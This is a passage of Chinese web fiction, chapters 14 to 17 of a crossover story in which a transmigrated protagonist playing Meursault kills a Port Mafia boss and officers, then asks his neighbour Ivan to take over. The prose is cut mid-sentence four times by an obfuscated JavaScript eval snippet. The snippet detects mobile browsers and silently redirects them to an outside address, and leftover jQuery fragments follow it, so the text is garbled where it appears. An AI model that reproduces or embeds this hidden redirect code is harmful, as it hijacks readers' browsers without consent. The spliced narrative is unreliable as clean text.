伊凡再次靠近了他,好让那个小小的东西把他的声音清晰地传递过去:【事情结束之后,我会来解决你。】 “喂,别真弄出事了。”罗佳皱起眉提醒,“我给过他一个承诺,别破坏了。” 伊凡没有再说话,只是深深地望了他一眼,从房间里走了出去。 ——赶紧解决问题,别让我再失望。也许是这个意思。 系统非常恰到好处地提示:【人设完成度上升,目前马甲1完成度:53%,马甲2完成度:74%】 【哎呀,进度很快嘛。】它有闲心调侃,【很牛了,不过越到后边越难涨,你是知道的吧。】 当然知道咯。K在意识里跟系统对话,但我觉得我已经掌握诀窍了,看我操作吧。 系统觉得这个宿主非常省心,和他有一搭没一搭聊了几句,又下线了。 …… 罗佳处理完伤口后小憩了一会儿,几个小时的时间很快就过了。他算好路程,向约定地点走去。 等他钻过洞口来到荒草丛生的别墅区时,里面的蔷薇已经凋谢,太宰治似乎还没有来。 他又等了十几分钟,终于开始怀疑起来:怎么还没来,这里人习惯不守时么?于是他拿出了手机,准备打去电话。 然而,他的耳朵却敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297585|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐地捕捉到一点诡异的动静,似乎是……濒死的鱼在地板上挣扎的声音? 心下有种预感,他放下手机顺着声音找过去:只见在破旧别墅的房梁上,挂下一堆茂盛的藤蔓。 一个穿着黑色大衣、缠着绷带的少年正好被藤蔓一圈圈绑住了手脚,还紧紧缠住了脖子,正在溺水一般的窒息禁锢中,拼命为自己挣扎着。 他因窒息被憋出了生理性泪水,从潮红的脸上淌下来,显得分外可怜。 见到他来,少年似乎终于看见希望,从挣扎里分出一点力气唤道:“救,救……我……” 罗佳对这个自杀狂魔无话可说,很想令他自生自灭又想起了交易内容,只得召出斧头把他身上的藤蔓劈断。 “啊!得救啦!”少年,即太宰治一被放下来便立刻活蹦乱跳,K都要怀疑他是不是练了什么神功了。 但好在对方也记得交易内容,非常迅速地拉着他核对情况,并给出了他自己的“专业”分析: “这块猪骨头看起来的确像挑衅一样呢。那么,小偷是黑手党相关人士的概率很高哦: 因为,挖出来之后很久了,也没有特殊存款或是发现赃款的消息,应该是看得懂记号所以不会用的。 “而且,最有意思的是,如果这位小偷看懂了,却没有明哲保身,直接把不能用的赃款上交给港口Mafia,也没有因为害怕而还回来,说明他拿那些东西另有用途……” “你的意思是:我们要从黑手党中有异心的高级成员开始找。”罗佳不想跟他卖关子,“但你也说了这不过是概率推测,所以很有可能还是意外吧?” “不是意外。”太宰治鸢色的眸子黑如深渊,“从小偷决定继续把赃款藏起来的一刻,便不可能再是意外了。” 罗佳眨了眨眼,觉察到了什么:“你啊,是不是在港口黑手党内部有情报来源?” “哎呀,无可奉告哟~”少年突然换了一副面孔,“不过,就目前所知的信息来看,昨天那位准干部并不算完全说谎——他们确实查到了点什么,据说是用了特殊的异能,把犯人锁定在内部了。” “那么,下一步就是——需要一个情报部门的准干部以上吧,你似乎已经有了目标?得赶在犯人彻底被抓住之前——” 定下目标,行动便快了许多。 他们找到了情报部门成员的出入时间,打算在三天内把干部和那位拥有锁定位置异能的异能者活捉,用来替他们找小偷。 计划有条不紊地进行着,在一次小巷蹲守中,太宰甚至还有闲心抱怨:“罗佳先生,怎么就那么干脆地把监听器的事情说出去了?我之后就要惨啦!” 真是站着说话不腰疼,有种你对着伊凡试试? “呵,活该。”罗佳冷笑,“既然是你自己放上去的,就要承担相应的后果。” 两天半后,他们顺利劫持了情报部门的干部,太宰治甚至为他带来了森鸥外的吐真剂,打算直接猛灌,让对方立刻吐出那个名字—— 然而,“叮铃铃……叮铃铃……” 又是铃声打破沉寂。罗佳打开一看:“伊凡?” 他怎么会主动给我打电话?他从不主动打电话! 他不敢犹豫,赶忙接起:“怎么了?出什么事了?” 接下来的一段话,却让他的心绪急剧上升下落,只听伊凡的嗓音如往日一般冷静,吐出的字句却如此令人不敢置信: “——不要找了,没有意义了。港口黑手党的首领在半小时前确认死亡。” “等等,真的?”罗佳的声音因兴奋颤抖,“你怎么知道的?” 然而,之后的话语却令他如坠冰窟: “我当然知道。” “——因为那个杀死首领的凶手,现在正用枪指着我的头。” ————————————————————— 15.Chapter 15.刺眼的阳光 多年以后,在死亡将至的所有走马灯中,默尔索仍会想起那个阳光刺目、山雀啼鸣的下午。* 那本该是漫长又平平无奇的一天。 他像往常一样去港口黑手党总部上班,一路上太阳很好,四处都是鸟鸣,让他不禁有点想念阿尔及尔滚烫的沙滩。 但黑手党盘踞的大楼里是很难看见阳光的,就算有,也被里面某种古怪的氛围渲染得好像黄昏——那是太阳将死的时候,有腐朽的铁锈味从每一个光斑里渗出来。 今天似乎有一点不同:三楼转角处的盆栽换了新的,叶片上凝着水珠,在阳光下折射出细碎光点。 默尔索盯着那一片光影看了几秒,觉得心情好了些。 到地方报道,又是外勤任务——给一次失败的交易做最后检查。 那似乎是三天前晚上的事,一批本要通过港口运出的“可燃物”意外爆炸,现场负责的黑手党成员和一个游击队长当场被炸死,一个准干部和几个队员毫无踪影。 首领勃然大怒:这是个相当大的单子,一次损失的数额不可估量;况且找不到能为此负责的人,买家也会失望至极,从此拒绝与我方继续合作。 但这还不是最要命的:这个单子的买家本部在意大利南边,和彭格列有些“小摩擦”,在谈合同时就已经强调过不能让他们的“敌对家族”发现。 可这冲天的爆炸声一响,别提警察——他们这次不知为何动作很快——还有本地的新闻媒体都立刻听说此事,被彭格列发现也只是时间问题。 他们会因此报复港口黑手党吗? 虽然岚之守护者狱寺隼人已经离开日本,但据可靠消息透露,传说中的最强守护者云雀恭弥长期留驻此地;不仅如此,据说就在两天前,名古屋的一场地下拍卖会上,发现了彭格列特殊暗杀部队瓦利安的踪迹。 不仅要尽力压下消息,还要尽快找出袭击者! 首领这样命令道,接下来的一阵咳嗽几乎要把肺都呕出来。 “难道是准干部叛逃?”有人说。 “叛逃有必要搞这种阵仗?会不会是彭格列的人干的?”有人说。“他们完全有理由。” 也有人说:“但他们没必要用这种手段。可能是之前的那个“黑手党猎人”故意做的,像是挑衅?这也不是第一次了。” 彭格列他们惹不起,所以只能把主犯猜测放在别人身上;首领勒令情报部门限时三天找出该死的犯人,然后由他亲自处决,向出手大方的买家证实立场。 此外,还要警惕一点:内部是否有叛徒,准干部失踪是否和这些有关。因为事故发生得太过凑巧,赶上了他们与彭格列闹不愉快,并且愁于寻找之前凶手的时刻。 “我有个办法。”一个干部说,“我手下不久前刚招揽了一个异能者,能根据物品的特征进行定位……” “物品?不能直接定位人吗?” “不行。但之前连我们成员一起失踪的不止是他们的尸体,应该还有别的什么,我们可以多试几次……” 这都是前几天站岗的时候听见的。 不过,这跟默尔索有什么关系? 他只是个底层成员,任务最多就是销毁证据,防止更多人发现罢了。 之前已经清理过很多遍,所以在又一次搜索证据残余、勘查现场后,也实在找不出什么可干的,他们在中午之前便收工回了总部。 十二点十七分,他坐在港口黑手党大楼自己办公地点的靠窗位置,吃着索然无味的三明治。 他们后勤部的一个新人用气声向邻座讲述在现场看见的一点碎骨——似乎是被炸飞的,碾碎的贝壳一样。 下午三时零九分,他站在武器库通风口下方擦枪。金属部件在掌心泛着冷光,远处走廊突然传来密集的脚步声。 像蚂蚁迁徙。他默默想。 然而当脚步声逐渐靠近时,他听见有人喊他的编号,声音里带着压制不住的愤怒。 “默尔索,是吧?跟我们来一趟。” 他不明所以地点点头,被收缴了武器,搜了身,然后跟着黑色的人一起走了。 这里边有些是昔日的同僚,此刻把他紧紧包裹在里面,看起来紧张极了。事实也的确如此:心跳声大得快要冲出胸腔,手放在武器上,汗浸湿内衬。 有什么可怕的?他想了想,没想出什么所以然来。 七拐八拐,他被带进一间小小的房间,四周粉刷成白色,中间是带着两个枷的铁椅子,被固定住了。 他望着那椅子,所有人望向他。吞咽声更大了,他们似乎怕他做出什么事来。 “坐上去.”他的上司拔枪对准他,其他人也纷纷拔出伯|莱|塔。 他顺从地上去了,一个同僚颤抖着锁住他手脚。 哎呀,这是做什么?审讯训练吗? 一片空白的房间里只剩下了他和上司,以及两个持武器的同僚,除他外,另三人严阵以待。 “这是怎么啦?”他被盯得有些尴尬,所以笑了一下,“我做什么错事了吗?” 可这举动反而让他人更神经紧绷了,他能感觉到上司握枪的手无限趋近扣动扳机,两个保镖额头上爆起了青筋。 吃坏肚子了,所以心情不好么? “默尔索,你知道自己犯了什么罪吗?”上司质问道,颇有他不回答就要当场解决犯人的架势。 “我不知道。”他很诚实地回答,感觉很莫名其妙,“我不觉得我做错了什么。” 上司冷笑了一声,显然没有相信:“哦?杀死同僚、制造爆炸、夺走交易款——这对你来说都不算什么?” 什么意思? 他开始回想这些日子发生的一切。最后,他终于恍然大悟了:“……哦,您是指那个箱子吗?我九天前捡到的,里面装着之前丢失的钱。” “所以,你承认交易款是你拿走的?”上司厉声道。 他想了想,觉得这个说法没问题:“是啊,一条狗从土里挖出来,我就拿走了……不过,我本来有打算上交的。” “为什么胆敢不上交?!” 默尔索微微皱眉:“您能不能别老冲我大声哇啦哇啦?我都搞不懂您在说什么。” 上司强压怒气:“……既然你声称自己无罪,又说自己曾经想要上交属于组织的钱财,为什么又放弃了?” “啊,因为很麻烦啊。”他很无所谓地答,“要写报告,还要说清楚自己怎么得到的,还可能被怀疑,所以干脆不交了。” 空气一瞬间凝滞了,荒谬感从房间的每一个墙壁间冒出来。 这是什么理由,这家伙是疯了吗?上司审讯过很多嫌疑犯,但从未见过如此胡言乱语的。 是在说谎吗? ……不管了。上司继续质问:“你的同伙是谁?谁让你这么做的?” 所以,真的是吃坏肚子了吧? “没有同伙,也没有人叫我做什么。”默尔索说,他从不扯谎,“都是我自己想干就干什么。” 在场的另外两人轻轻倒吸一口冷气。 上司觉得今天是第一次认识这个人:多么恐怖的思考, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308242|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多么有恃无恐的回答。他到底有什么能耐? 他叫人拿来吐真剂,又翻来覆去用各种语气、各种方式进行审讯,拳脚也一点没少; 但无论怎样逼问、踢打,这个“叛徒”的回答始终如一,也只有那么几句话。 是进行过抗药训练吗?上司有点想不通,如果不是这种无所谓生死的态度,他几乎要认为这人真的是无辜的了。 但他不可能无辜!他们已经调查了两天,异能者对交易款的定位一大部分就在此人家里,今早趁他外出后闯入,也的确找到了;缺少的那部分,则存在于一个已死之人的家中。 熟悉的手段。同伙作案,最后杀人灭口!处理后续的手法也极其高明——若没有异能,他们也许根本不可能找到。 正当他思索着,门突然“咔嗒”开了。一个情报部的人前来传令:“审讯得如何了?首领下令,将人交给他亲自审问并处决。” ……根本没什么有用信息,更别说问出同伙。但他不能承认自己办事不力,所以只能说:“基本可以确定,此人就是重犯之一。” 所以,默尔索又被铐上手铐,一路送到了首领巨大的办公室内。 他亦步亦趋,脑子有些混沌,想法却还是清晰的: 人可真是矛盾,一面喜欢图方便,随意审判;一面宁愿耗费心力、绞尽脑汁地尝试把他想成什么凶手鬼怪,都不愿承认他有可能是完全诚实和无辜的。 他们总喜欢把无关紧要的东西看得很重,比如钱啊、面子啊、各种感情啊,追求一切又永不满足。 但每个人终归是要死的。 ……最后,他到了首领的办公室。 应该算这辈子第一次真正进去。他被困在中间,所有干部和首领本人都在那里。 这些人看上去都高高在上,实际上都是色厉内荏;看着他们佯装严肃的样子,他觉得很滑稽,有点想笑。 首领身边还站着一个穿着白大褂的人,是深受他信任的私人医生森鸥外——医生在港口黑手党有些特权,很多准干部以上的成员都认得他。 默尔索作为底层成员本不该认识,但首领办公室的隔音真的很差诶。 首领的病不轻,但仍要展现出自己的威严,好像一块被虫子蛀空的朽木仍要紧紧握着包裹自己的那层皮一样。 “罪人,你叫默尔索。”首领扯着一把嗓子,慢慢吞吞地说。 他不知道怎么答,所以没说话。但是……更想笑了怎么办? 后来首领说了什么话,他已经不记得了。他只记得自己开始走神。 办公室很大,相当大,还有巨大的落地窗。这时候正是下午,太阳正盛的时候——和母亲葬礼的那天一样。* 他的头很晕,因为之前的拳头和吐真剂。那太阳闪闪的,好像从玻璃后面冲出来的刀光,刺进他的双眼,把所有东西都熔成白花花又黑漆漆的一团。 他感觉皮肤下的血肉都在随阳光一同沸腾。 老人的嘴巴还在动。 突然,默尔索从原地消失了。 “砰——砰、砰、砰、砰。” 反应过来时,他已经出现在窗边,手中拿着一把从不知谁那里拿来的伯|莱|塔,开了五枪。 一枪正中眉心,已经毙命。 后四枪给了躯干处四个致命之处,仿佛在厄运之门上敲了四下。* ——那一刻,默尔索什么也没有想。 窗外阳光正好,传来山雀的啼唱。 ————————————————————— 16.Chapter 16.赤子孤独 【——那一刻,默尔索什么也没有想。】 【啊?啊??】系统在他脑内发出尖锐爆鸣,【不是,哥们儿?你就这么水灵灵地把人给杀了?】 【计划呢?后路呢?人设完整度呢?】 【想当首领想疯啦?】 “闭嘴。”K毫无感情地说,“最大的问题是:首领已经死了。现在,该由谁来当新首领?” 【不是……】系统刚想说“这难道不是你自己搞出来的事吗”,随即后知后觉地发现:刚才那些话,不是K对系统说的,而是默尔索对着在场的所有干部说的。 十几分钟前,首领倒下的声音惊醒了在场的所有人。 “杀了他!”一个干部怒吼,立刻甩出飞刀向他攻来。 一声轻轻的叹息,默尔索的身影再次消失不见,飞刀只是在空气中飞舞了一会儿,便直直插进了窗框。 下一秒,他出现在那个干部身后,枪口对准他的脑袋,声线平静地说:“别白费力气了吧。您抓不到我,更杀不死我。” 武斗派的金井干部“啧”了一声,在默尔索话音未落时便朝他方向“砰砰”开了两枪。 然而,子弹直直射穿了另一个干部的身躯,在他身后绽开血花。 “哎呀。”默尔索站在窗边说,“怎么听不明白呢?我只是实话实说呀。” “你!” “‘你’?什么意思?”他歪了歪头,“我并不是有意杀死首领的。实话说,我也不觉得他现在有什么好的,你们很喜欢他吗?” 整个办公室陷入死一般的寂静。 金井干部的疤在额角抽搐;古田还算冷静,正点燃一根雪茄,灰簌簌落在枪套上;横山的手按在桌上,印上一片湿手印。 算上默尔索和森鸥外,在场还有八个活人——四个干部,四个准干部;还有一个干部在外执行任务未归。 基本上,站在港口黑手党权力顶端的人都在这里。 是的,他们中的一些的确忠于倒在地上的首领,不过这大多都是过去式了。 年轻时意气风发的雄主变得越来越老辣残酷,疑心病也与日俱增。他们这些人必须要小心翼翼不做出头鸟,还要不停完成越来越无理的要求。 如今,首领已死,虽然突兀,但也早有准备——但即便如此,他们的权力也不容一个底层人员侵犯! 几个干部有些蠢蠢欲动。也许解决了这个古怪的法国男人,他们便可以顺理成章地开启干部会议,首领之位便唾手可得。 但如何除掉这个男人,目前来说是最大的问题。 “古田干部。”男人突然点名,“请不要尝试偷袭我,我听得见您在做什么。” 古田夹雪茄的手一抖,放在大衣口袋里的手慢慢松开;其他人心中一寒,也停下动作。 “我可以杀死你们所有人,但我觉得没必要;当然啦,我知道干部们都有异能,但是你们都没有我快。”男人继续说,仿佛在陈述事实,“所以,我们可以把这件事放下了吗?我想回去了,我还有工作。” 放下?工作? 在场的所有人都感觉到了荒谬。一个当着他们面杀死首领的人,怎会说出如此诡异又惊世骇俗的话来? “你杀了我们的首领,难道不是自己想当首领?”金井语带讥讽,身躯却时刻紧绷。“你就是一直在猎杀同僚的那个人吧?” “猎杀同僚?”默尔索感觉这群聋子简直不听人说话,“没有啊,交易款是我捡来的。如果首领也算得上同僚的话,我今天才算杀了第一个呢。” 荒谬。真是荒谬。 “你的意思是,你完全没有背叛我们的想法,向首领开枪只是下意识的行为?”横山不可置信地问。 总算有人懂了。默尔索点点头:“是的。” “你跟个疯子废话什么?”古田向横山斥道,“他杀了首领,这是事实!” 哎,怎么又这样。 默尔索觉得有些烦了,他懒得再答,只是再次举起了手中的伯|莱|塔——从押他来此的保镖身上抢来的。 他背着窗户逆着光,刺眼的光芒从他身后汇成耀眼的光环,却把他平静无表情的脸衬得晦暗无比,仿佛浸在深渊之中。 他要继续攻击了! 干部们纷纷拿出武器,严阵以待。 然而,一个平和的声音突然打破沉寂,把紧绷的氛围松了松:“那个……我能说几句吗?我只是个医生,与各位都没有利益冲突,只是想从我的角度、提出一点解决问题的建议。” 所有人看向出声者。 黑发红眼的医生穿着一身白大褂,纯良地笑着,从人群之中站出来。 “森医生,您说吧,我没意见。”默尔索耸耸肩;干部们盯着他,沉默。 森鸥外毫不尴尬。他向前半步,白大褂下摆拂过首领逐渐冷却的指尖: “诸位,我们现在有两个选择——要么在这里血流成河,让港口黑手党陷入彻底的混乱。当然,身为医生,我会尽力给每个人医治; 或者,我们应该暂时搁置争议,先确保组织不会群龙无首。” “你的意思是,我们应该听你的——”金井的枪口晃了晃,“居然要跟凶手和解?” “凶手?”默尔索低头看自己的鞋尖,一点血凝在上面,“好奇怪啊。明明大家都觉得首领死了是好事,却总要责怪我呢?” 这又是什么话!这家伙真的是疯子吧? 有人被戳中了心事,恼羞成怒起来。 可没等其他人发话或动作,森鸥外又立刻抢白:“这只是我身为医生的一点拙见,诸君知道,我是最不愿看到流血牺牲事件的。各位干部英明强干,也许应该以港口Mafia的整体利益为先,不是么?” 很冒险的一步,医生心想,虽然看起来是个和事佬,却仍然把自己推到人前,容易被视为眼中钉。 但是,为了平息事端,目前也没有别的办法了。 “是这样的。”默尔索点点头,“我不想当首领,也不太想吵架,不如,干部们就在这里选出个首领来吧——前首领先生在这儿躺了很久了,怪可怜的。” 不是……把他变成现在这样的不就是你吗!你在同情个什么啊? 但现在不是吐槽的时候。 在场的其他人也意识到这个问题,如果现在将首领已死、他们群龙无首的消息广而告之,随之而来的必定是巨大的混乱,对谁都没好处。 “我们直接在此处召开会议吧。”一直没有动作的源野川门干部说道,他正是情报部的指挥者。 “那炎峰熏理干部怎么办?”横山不知所措,“她还在出外勤。” “不用管她。”金井冷笑一声,“事到如今,也等不及她来了,现在这个办公室里的消息全部封锁;在新首领就位前,谁也不要出去。” “那我们……” “各位干部先生?”法国男人平淡的嗓音再次插入,把其余人的心激得一跳,森鸥外不动声色地望了他一眼。 结果,下一秒,他的名字就被提到了:“我就是想问一下,森医生不用参加吧?” 森鸥外一愣,而后笑了:“是的。” “哦。”默尔索说,声音里带着点事情总算结束的释然,“那请森医生到我这边来吧,我们可以找个位置坐下,一起等。” 森鸥外抬头,看见默尔索冲他招了招手。他叹了口气,顺从地走过去:“那我便恭敬不如从命了。” 他们自顾自坐下了,直到剩下的干部与准干部们就地开会、争执,声音越来越大。 森鸥外一面观察着干部的动向,一面开口与默尔索攀谈:“冒昧问一句,您是哪儿的人?” “我出生在阿尔及利亚,不过父母都是法国人。” 背景音是一片:【我认为武斗派力量庞大,无法换人管理——】 【你是在怀疑我们的忠诚吗?蠢货!】 森鸥外很自然地问:“令尊和令堂都还好吗?您怎么会想到本国来呢?” “啊,我父亲很早就死了,因为战争;我母亲不久前也在疗养院里去世了。我听说这里不错,才来的。”* “抱歉,请节哀。” “没什么,我没什么感觉,妈妈去世前应该挺开心的。” 森鸥外噎了一下,态度仍然很随和:“……那也不错。那么,来了这么久,您觉得横滨怎么样?” 默尔索思考了一会儿:“还行吧,感觉都差不多。但这里的水味道很差,没有好沙滩。” 背景音增大了音量:【情报部的重要性想必你们也明白,我从首领初设部门就已经在了,为港口黑手党立下过汗马功劳……】 【别放屁了,你个两面三刀的家伙——】 “您喜欢沙滩?” “是的,这种天气游泳不错……森医生怎么样?怎么会来这里当医生?” “哎呀,都是生活所迫嘛。如果可以,我也不想来的……” 【又是平票,横山你到底什么意思?】 【既然您都有望成为首领,那我也可以吧。】 【再这样下去,我们什么也选不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323773|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来——】 “好吵啊。”默尔索突然说,“森医生,您不这么认为吗?” 几乎没有人反应过来。 待枪口的烟已经冒出时,两颗子弹已经分别到达目的地。 “砰,砰——” 一颗子弹正中古田干部的眉心,另一颗在千钧一发之际,被躲过了一点,钻进了金井干部的肩窝。 古田轰然倒下。默尔索看着金井:“反应很快嘛,您来当首领怎样?” 金井暴怒狰狞的脸一点点褪下来,他看了看在场的所有人,看着那些或震惊或敬畏的脸,突然露出了一个苦笑: ……如果没有异能,刚才死的就是我。 接着,他用左手按住右肩,微微弯腰,对着默尔索的方向行了一个骑士礼:“不,我没有资格成为首领……我现在推举您,默尔索大人,成为港口黑手党的新一任首领。” 横山与源野对视一眼,剩下的准干部也跟上:“我们推举默尔索大人成为首领,愿您引领我们走向新的辉煌。” 默尔索觉得很莫名其妙:“我不想当首领,你们什么意思?” 当首领很烦的,他不想接什么烂摊子。 “不,请您指引我们!”金井以为他是佯装推托以表谦虚。 “请您指引我们!” 默尔索没有回答,办公室再次静得宛若坟墓。 然而,K实际上正在脑内与系统聊天。 【看你这么一演,我好像明白了。】系统思考了一会儿,【……感觉默尔索的确是个相当恐怖的人啊。】 【恐怖吗?我倒不这么觉得。】K反驳了它,【我觉得默尔索挺有意思。他不追求意义,且对生活的态度相当坚定。】 【可他做的事很恐怖啊!】系统咋咋唬唬,【因为一个念头就可以杀人,而且完全不会愧疚。反应也和社会脱节,没法预测也没法理解。】 【不,他实际上是最好理解的,只是不受规训和普世道德约束而已。 世人要想在人群中生活,就必须带上各种各样的面具;为了合群,要不停伪装、遮掩自己的真实想法。 但默尔索不会伪装;他很坦荡,坦坦荡荡地活着,坦坦荡荡地去死,导致反常失序的不是他本身,而是他稳定的自我和外部世界的矛盾。】 【……我不能理解。】系统默默地说。 【那就没必要理解。也许有些角色生来就不是让人理解的,是让人来感受的。】K心平气和地回答。【就像一个多边形,从某些角度看是平的,从特定的点看却异常尖锐。 如果人人都能理解他人,那我怎么会像现在一样孤独?默尔索是这样,伊凡和罗佳未尝不是,他们的本质也许都是孤独的。 有人孤独了会自动走向灭亡;但也有一种人,怀有一颗赤子之心的人,他们孤独了,会拼尽全力去创造一个世界。* 所以,没必要追求理解。至少现在,你只要看着就行了。 看着吧——我是默尔索的时候,没有什么能撼动我。】 系统有种不好的预感:【你要干什么?你不是说不想当首领吗?】 【我解释那么一大堆,就是想说:对默尔索来说,不需要什么长期计划,及时的感受和想法才是最重要的。 也就是说,只要我在某一瞬间有了这种想法,那么之后做出的所有举动——都是合理的塑造吧。】 回到现实。 “这样吧……森医生!”默尔索再次点名。 “是?”森鸥外身体一震,规规矩矩地答。 “——您应该不想当首领吧?” 冷汗,细密的冷汗从额角不停渗出。 森鸥外毕生少有如此纠结的时刻。原本,自己的野望和目标已经近在咫尺,他只要继续韬光养晦培养势力,然后一击必杀…… 可这一切,却被一场意外生生打碎了。 那么现在,是赞同,还是反对? 他不动声色地观察着周围的干部。最终,向这个破坏他计划的男人,露出一个正常医生都会有的纯良微笑: “当然不想啦,您是对的,默尔索先生。” 火山灰里也能养出玫瑰。我……不能着急。 “好。”默尔索的反应很干脆,“那您帮我看住这些人,我要出去一趟。” “啊?” “我认识两个人,是我邻居。他们应该挺适合当首领——我现在去叫他们过来。要是有一个同意了,你们就再也不用操心了。” ————————————————————— 17.Chapter 17.伊凡的回答 “我认识两个人,是我邻居。他们应该挺适合当首领——我现在去叫他们过来。要是有一个同意了,你们就再也不用操心了。” 【不是……哥们儿……】系统已经无言以对,【图穷匕见了,原来大招在这儿呢……默尔索不行就让另外两个上是吧。】 【不然呢?我费尽心力编排这一出,难道是给森鸥外做嫁衣?】K完成了一番出色表演,心情不错。 看着一旁微笑十分勉强的森鸥外,心情更好了,还特地装作天真地问了几句: “不行吗,森医生?只要等我一个小时就行,因为现在的干部们都选不出好首领,那我只好这样做了。 毕竟,现在工作挺难找的,我还不想失业。” “可是,您的……邻居?”金井干部的脸色好似某种烧焦的茄子。 他现在又开始后悔刚才的举动了,果然,正常人是没法理解疯子的想法的;如果现在先答应下来,稳住这个男人,日后还有机会反杀吗? “我的邻居很强的。”默尔索甚至有点自豪,“脑子都很好,有一个的武力值也很高。不过……” 他思索了一下:“……港口黑手党应该没什么歧视吧?他们是斯拉夫人,能当首领吗?” “我们是没有本地人当首领的规定……但是……”听完这古怪的要求,源野干部的脸也皱起来。 虽然没有规定,但下层对外国人士总归是有反感和敌视的,更别说要认同他们做首领了。 首领是什么?是要统领整个港口黑手党的人!怎能如此儿戏? 只不过,现在他真没底气对这人说出来——毕竟,默尔索也是个彻头彻尾的“外来者”。 “没问题,只要他们俩同意,那就大功告成。”默尔索根本没管,他懒得听下去,直接说,“那我走了—— “森医生,请看住他们吧,别出去也别发消息,我一小时后回来。不过,如果你们硬要出去,我也没办法……” 话音未落,他便已经消失在原地。 办公室的空气仿佛被冰水浸过。所有人都没有轻举妄动,生怕法国人从什么地方又突然窜出来。 良久,森鸥外叹了口气:“……诸君,尽管非常遗憾,但我们现在的选择,似乎也只有等待了。” …… 而默尔索这边,他打算先去找伊凡。身为一名合格的邻居,再加上之前无意间听到的信息,他知道对方在哪个编辑部工作。 不过,就算不知道也没关系,他早就用异能标定过伊凡的身体:不论双方在哪里,他都能在五秒内把自己传送到对方身边。 他的异能【存在】非常特别,有两种瞬间穿梭的方法: 一种是较短距离的,方圆五十米以内的视觉选择,想出现在哪个位置可以随意指定,两次使用时间间隔为三秒——就是他刚才在办公室里使用的那种。 另一种是不定距离的标定穿梭,在不确定距离或距离大于方圆五十米时使用。 但穿梭位置必须事先进行过标定,标定地点可以是人,也可以是物,标定方法为触碰+发动,持续五秒可完成。两次使用间隔为五分钟。 所以,当他刚刚与森鸥外等人告别,三秒后,就已经站在了横滨编辑部中央——伊凡的身后。 编辑部大变活人,引来一阵惊呼。伊凡写作的手顿了一下,没有进一步动作。 默尔索想了想,拔出那把枪对准了伊凡的头部,声音清晰地对在场所有人说: “我是港口黑手党的成员,找他有话要说。其他人都出去吧。” 尖叫声、疯狂的脚步声和推搡声、求饶声顿时汇成噪杂的交响。 五分钟后,无关人士都跑得一干二净,还从外边关门上了锁——似乎认为只要这样,自己就会安全一些。 默尔索收起了枪,语气抱歉地对邻居说:“对不起啊,卡拉马佐夫先生,我只是觉得那样会比较快。不过我的确有话要对您说,您不介意吧?” 伊凡冷笑了一声:“默尔索先生,您刚才的态度可不像是请求。不过,我现在可以确定了,您的确是港口黑手党成员。那么,找我这个普通杂志社编辑有什么事?” “啊,可能有点复杂。我尽量简短点说。”默尔索状似苦恼地摸了摸自己的头发。 “总而言之,我杀了港口Mafia的首领,现在我想请您和罗佳先生你们中的一个,去那里当新首领。” 伊凡的表情有一瞬间的空白。 但他很快便恢复了冷静:“为什么?我们并不是最好的人选吧?” “可我觉得您和罗佳先生很好。有足够清醒的头脑,不像我,我做不来像你们那样复杂的计划。”默尔索诚实地回答。 他暗示了:我知道你们的真实身份,也知道罗佳先生在干什么。但我不在乎。 伊凡的手指不自觉摩挲着钢笔帽,深灰色的眼睛在镜片后微微眯起:“我现在先不问您究竟如何知道、又知道多少,也不跟您扯什么道理。 但您应该清楚,黑手党首领不是作家或连环杀人犯,它需要的是权力欲望与手腕,而不是宗教或哲学思辨。” “我是不懂这些。”默尔索移来旁边的一条椅子,自然地坐下了,“但我觉得,也许由你们来掌握权力会比其他人更好。港口Mafia怎样我无所谓,只要继续让我工作就行。” 伊凡突然笑了:“会好吗?那您想想,如果您没有工作又会怎样呢?” “那我就没钱用了,或者……会难过死?饿死?”法国人静静地想了几秒钟,“好像,也没什么的嘛;活着挺好,但死好像也没什么可怕的。” “所以,有没有人去当首领,真的很重要么?”伊凡的眼神锐利无比,“你完全可以离开这里,去过自己想要的平静日子。所以,不要再来折磨我了。” “那么……这是拒绝的意思吧?”法国人似乎要做最后的确认。 “是的。” “好吧,也对。”男人点点头。“打扰了。” 他站起来,似乎是要直接离开。然而,没等伊凡呼出下一口气,他便又转过头来坐下。 “不行,我想起来,我与森医生有过约定,一小时后要带着你们中的一个去那里。我不能就这样空着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 